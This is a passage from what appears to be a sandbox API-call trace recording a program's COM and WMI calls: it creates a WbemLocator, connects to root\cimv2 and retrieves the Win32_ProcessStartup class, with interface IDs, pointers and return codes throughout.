[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x5f5c90) returned 0x0 [0125.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f5c90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0125.440] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f5c90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af2e0) returned 0x0 [0125.440] WbemDefPath:IUnknown:Release (This=0x5f5c90) returned 0x0 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af2e0) returned 0x0 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0125.440] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b424e30) returned 0x0 [0125.440] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b424e30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.440] WbemDefPath:IUnknown:Release (This=0x1b424e30) returned 0x3 [0125.440] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0125.440] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0125.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0125.440] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0125.440] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0125.440] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0125.440] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0125.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af2e0) returned 0x0 [0125.441] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0125.441] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0125.441] WbemDefPath:IWbemPath:SetText (This=0x1b4af2e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0125.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0125.441] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0125.441] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.441] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0125.441] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0125.441] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0125.441] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.442] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b482570) returned 0x0 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482570, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0125.442] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b482570, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4827f0) returned 0x0 [0125.442] WbemLocator:IUnknown:Release (This=0x1b482570) returned 0x0 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4827f0) returned 0x0 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0125.442] WbemLocator:IUnknown:AddRef (This=0x1b4827f0) returned 0x3 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0125.442] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0125.442] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0125.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0125.443] WbemLocator:IUnknown:Release (This=0x1b4827f0) returned 0x2 [0125.443] WbemLocator:IUnknown:Release (This=0x1b4827f0) returned 0x1 [0125.443] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0125.443] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0125.443] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4827f0) returned 0x0 [0125.443] WbemLocator:IUnknown:AddRef (This=0x1b4827f0) returned 0x3 [0125.443] WbemLocator:IUnknown:Release (This=0x1b4827f0) returned 0x2 [0125.443] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0125.443] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0125.443] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.443] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4823f0) returned 0x0 [0125.443] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4823f0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4ce050) returned 0x0 [0125.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce050, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511bb0) returned 0x0 [0125.982] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511bb0, pProxy=0x1b4ce050, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0125.982] WbemLocator:IUnknown:Release (This=0x1b511bb0) returned 0x1 [0125.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce050, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511bf8) returned 0x0 [0125.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce050, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511bb0) returned 0x0 [0125.982] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511bb0, pProxy=0x1b4ce050, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.982] WbemLocator:IUnknown:Release (This=0x1b511bb0) returned 0x2 [0125.982] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x1 [0125.982] CoTaskMemFree (pv=0x1b461b50) [0125.983] WbemLocator:IUnknown:Release (This=0x1b4823f0) returned 0x0 [0125.983] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce050, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511bf8) returned 0x0 [0125.983] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0126.028] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0126.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce050, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0126.045] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0126.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0126.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0126.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b511ad8) returned 0x0 [0126.045] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511ad8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.045] WbemLocator:IUnknown:Release (This=0x1b511ad8) returned 0x3 [0126.045] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0126.045] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0126.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b511bc0) returned 0x0 [0126.045] WbemLocator:IRpcOptions:Query (in: This=0x1b511bc0, pPrx=0x1b511bf8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0126.045] WbemLocator:IUnknown:Release (This=0x1b511bc0) returned 0x3 [0126.045] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0126.046] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0126.046] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0126.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4ce050) returned 0x0 [0126.046] WbemLocator:IUnknown:AddRef (This=0x1b4ce050) returned 0x4 [0126.046] WbemLocator:IUnknown:Release (This=0x1b4ce050) returned 0x3 [0126.046] WbemLocator:IUnknown:Release (This=0x1b4ce050) returned 0x2 [0126.046] SysStringLen (param_1=0x0) returned 0x0 [0126.046] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0126.046] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0126.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511bf8) returned 0x0 [0126.046] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x3 [0126.046] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0126.046] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0126.046] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.046] IWbemServices:GetObject (in: This=0x1b4ce050, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d9ed0, ppCallResult=0x0) returned 0x0 [0126.052] IWbemClassObject:Get (in: This=0x1b4d9ed0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0126.052] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0126.053] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0126.053] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0126.053] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0126.053] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0126.053] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.054] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b482950) returned 0x0 [0126.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482950, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0126.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482950, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4aee60) returned 0x0 [0126.054] WbemDefPath:IUnknown:Release (This=0x1b482950) returned 0x0 [0126.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4aee60) returned 0x0 [0126.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0126.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0126.054] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0126.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0126.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: 